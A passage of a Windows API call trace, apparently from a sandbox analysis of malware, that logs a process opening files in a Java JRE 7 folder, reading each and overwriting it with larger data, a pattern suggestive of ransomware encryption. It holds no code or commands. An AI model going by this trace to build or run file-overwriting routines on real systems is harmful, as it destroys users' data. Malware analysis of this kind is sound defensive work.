lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da95d8*, lpNumberOfBytesWritten=0x304f28c*=0x4000, lpOverlapped=0x0) returned 1 [0051.735] CloseHandle (hObject=0x1cc) returned 1 [0051.735] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\win32_copynodrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0051.736] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0051.737] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x99 [0051.737] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0051.737] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.737] ReleaseMutex (hMutex=0x128) returned 1 [0051.737] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="win32_CopyNoDrop32x32.gif", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0051.737] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="win32_CopyNoDrop32x32.gif", cchWideChar=25, lpMultiByteStr=0x1e7fd8c, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="win32_CopyNoDrop32x32.gif", lpUsedDefaultChar=0x0) returned 25 [0051.737] ReadFile (in: hFile=0x1cc, lpBuffer=0x2516358, nNumberOfBytesToRead=0x99, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2516358*, lpNumberOfBytesRead=0x304f2bc*=0x99, lpOverlapped=0x0) returned 1 [0051.738] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0051.738] WriteFile (in: hFile=0x1cc, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x621, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x304f2d0*=0x621, lpOverlapped=0x0) returned 1 [0051.738] CloseHandle (hObject=0x1cc) returned 1 [0051.738] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jfr.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0051.738] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0051.738] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x8204f [0051.739] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0051.739] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.739] ReleaseMutex (hMutex=0x128) returned 1 [0051.739] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jfr.jar", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0051.739] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jfr.jar", cchWideChar=7, lpMultiByteStr=0x1e6aa2c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jfr.jar", lpUsedDefaultChar=0x0) returned 7 [0051.739] ReadFile (in: hFile=0x1cc, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0051.741] ReadFile (in: hFile=0x1cc, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.741] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x8104f [0051.741] ReadFile (in: hFile=0x1cc, lpBuffer=0x276d388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276d388*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.743] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x8104f [0051.743] WriteFile (in: hFile=0x1cc, lpBuffer=0x1da95d8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da95d8*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0051.743] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0051.743] WriteFile (in: hFile=0x1cc, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0051.744] WriteFile (in: hFile=0x1cc, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0051.744] CloseHandle (hObject=0x1cc) returned 1 [0051.744] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\meta-index" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\meta-index"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0051.744] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0051.744] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x88e [0051.744] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0051.744] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.744] ReleaseMutex (hMutex=0x128) returned 1 [0051.744] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="meta-index", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0051.744] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="meta-index", cchWideChar=10, lpMultiByteStr=0x1e62fec, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="meta-index", lpUsedDefaultChar=0x0) returned 10 [0051.744] ReadFile (in: hFile=0x1cc, lpBuffer=0x27ac368, nNumberOfBytesToRead=0x88e, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesRead=0x304f2bc*=0x88e, lpOverlapped=0x0) returned 1 [0051.747] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0051.747] WriteFile (in: hFile=0x1cc, lpBuffer=0x276d388*, nNumberOfBytesToWrite=0xe16, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276d388*, lpNumberOfBytesWritten=0x304f2d0*=0xe16, lpOverlapped=0x0) returned 1 [0051.747] CloseHandle (hObject=0x1cc) returned 1 [0051.747] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\java.security" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\java.security"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0051.748] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0051.748] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x45a0 [0051.748] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0051.748] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.748] ReleaseMutex (hMutex=0x128) returned 1 [0051.748] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="java.security", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0051.748] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="java.security", cchWideChar=13, lpMultiByteStr=0x1e6340c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="java.security", lpUsedDefaultChar=0x0) returned 13 [0051.748] ReadFile (in: hFile=0x1cc, lpBuffer=0x276d388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276d388*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0052.213] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x35a0 [0052.213] ReadFile (in: hFile=0x1cc, lpBuffer=0x1da7ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1da7ed8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0052.217] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x35a0 [0052.217] WriteFile (in: hFile=0x1cc, lpBuffer=0x1da7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da7ed8*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0052.218] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0052.218] WriteFile (in: hFile=0x1cc, lpBuffer=0x1da7ed8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da7ed8*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0052.218] CloseHandle (hObject=0x1cc) returned 1 [0052.218] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Algiers" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\algiers"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0052.219] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0052.219] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x14d [0052.219] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0052.219] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.219] ReleaseMutex (hMutex=0x128) returned 1 [0052.219] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Algiers", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0052.219] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Algiers", cchWideChar=7, lpMultiByteStr=0x1e6aa2c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Algiers", lpUsedDefaultChar=0x0) returned 7 [0052.219] ReadFile (in: hFile=0x1cc, lpBuffer=0x253cad8, nNumberOfBytesToRead=0x14d, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x253cad8*, lpNumberOfBytesRead=0x304f2bc*=0x14d, lpOverlapped=0x0) returned 1 [0052.220] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0052.220] WriteFile (in: hFile=0x1cc, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6d5, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x304f2d0*=0x6d5, lpOverlapped=0x0) returned 1 [0052.220] CloseHandle (hObject=0x1cc) returned 1 [0052.220] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Casablanca" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\casablanca"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0052.221] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0052.221] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x350 [0052.221] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0052.221] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.221] ReleaseMutex (hMutex=0x128) returned 1 [0052.221] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Casablanca", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0052.221] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Casablanca", cchWideChar=10, lpMultiByteStr=0x1e62fec, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Casablanca", lpUsedDefaultChar=0x0) returned 10 [0052.221] ReadFile (in: hFile=0x1cc, lpBuffer=0x2750828, nNumberOfBytesToRead=0x350, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2750828*, lpNumberOfBytesRead=0x304f2bc*=0x350, lpOverlapped=0x0) returned 1 [0052.223] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0052.223] WriteFile (in: hFile=0x1cc, lpBuffer=0x27ac368*, nNumberOfBytesToWrite=0x8d8, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesWritten=0x304f2d0*=0x8d8, lpOverlapped=0x0) returned 1 [0052.223] CloseHandle (hObject=0x1cc) returned 1 [0052.223] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Harare" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\harare"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0052.224] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0052.224] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x41 [0052.224] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0052.224] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.224] ReleaseMutex (hMutex=0x128) returned 1 [0052.224] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Harare", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0052.224] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Harare", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Harare", lpUsedDefaultChar=0x0) returned 6 [0052.224] ReadFile (in: hFile=0x1cc, lpBuffer=0x1eaaa98, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eaaa98*, lpNumberOfBytesRead=0x304f2bc*=0x41, lpOverlapped=0x0) returned 1 [0052.225] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0052.225] WriteFile (in: hFile=0x1cc, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5c9, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x304f2d0*=0x5c9, lpOverlapped=0x0) returned 1 [0052.225] CloseHandle (hObject=0x1cc) returned 1 [0052.225] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Luanda" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\luanda"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0052.226] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0052.226] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x41 [0052.226] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0052.226] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.226] ReleaseMutex (hMutex=0x128) returned 1 [0052.226] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Luanda", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0052.226] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Luanda", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Luanda", lpUsedDefaultChar=0x0) returned 6 [0052.226] ReadFile (in: hFile=0x1cc, lpBuffer=0x1eaaa98, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eaaa98*, lpNumberOfBytesRead=0x304f2bc*=0x41, lpOverlapped=0x0) returned 1 [0052.227] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0052.227] WriteFile (in: hFile=0x1cc, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5c9, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x304f2d0*=0x5c9, lpOverlapped=0x0) returned 1 [0052.227] CloseHandle (hObject=0x1cc) returned 1 [0052.227] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Ndjamena" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\ndjamena"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0052.227] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0052.227] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x59 [0052.227] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0052.228] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.228] ReleaseMutex (hMutex=0x128) returned 1 [0052.228] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Ndjamena", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0052.228] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Ndjamena", cchWideChar=8, lpMultiByteStr=0x1e6324c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ndjamena", lpUsedDefaultChar=0x0) returned 8 [0052.228] ReadFile (in: hFile=0x1cc, lpBuffer=0x1ea3f20, nNumberOfBytesToRead=0x59, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1ea3f20*, lpNumberOfBytesRead=0x304f2bc*=0x59, lpOverlapped=0x0) returned 1 [0052.228] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0052.229] WriteFile (in: hFile=0x1cc, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5e1, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x304f2d0*=0x5e1, lpOverlapped=0x0) returned 1 [0052.229] CloseHandle (hObject=0x1cc) returned 1 [0052.229] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Anchorage" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\anchorage"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0052.229] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0052.229] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x4c8 [0052.229] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0052.230] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.230] ReleaseMutex (hMutex=0x128) returned 1 [0052.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Anchorage", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0052.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Anchorage", cchWideChar=9, lpMultiByteStr=0x1e62fec, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Anchorage", lpUsedDefaultChar=0x0) returned 9 [0052.230] ReadFile (in: hFile=0x1cc, lpBuffer=0x2741c78, nNumberOfBytesToRead=0x4c8, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2741c78*, lpNumberOfBytesRead=0x304f2bc*=0x4c8, lpOverlapped=0x0) returned 1 [0052.231] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0052.231] WriteFile (in: hFile=0x1cc, lpBuffer=0x1da7ed8*, 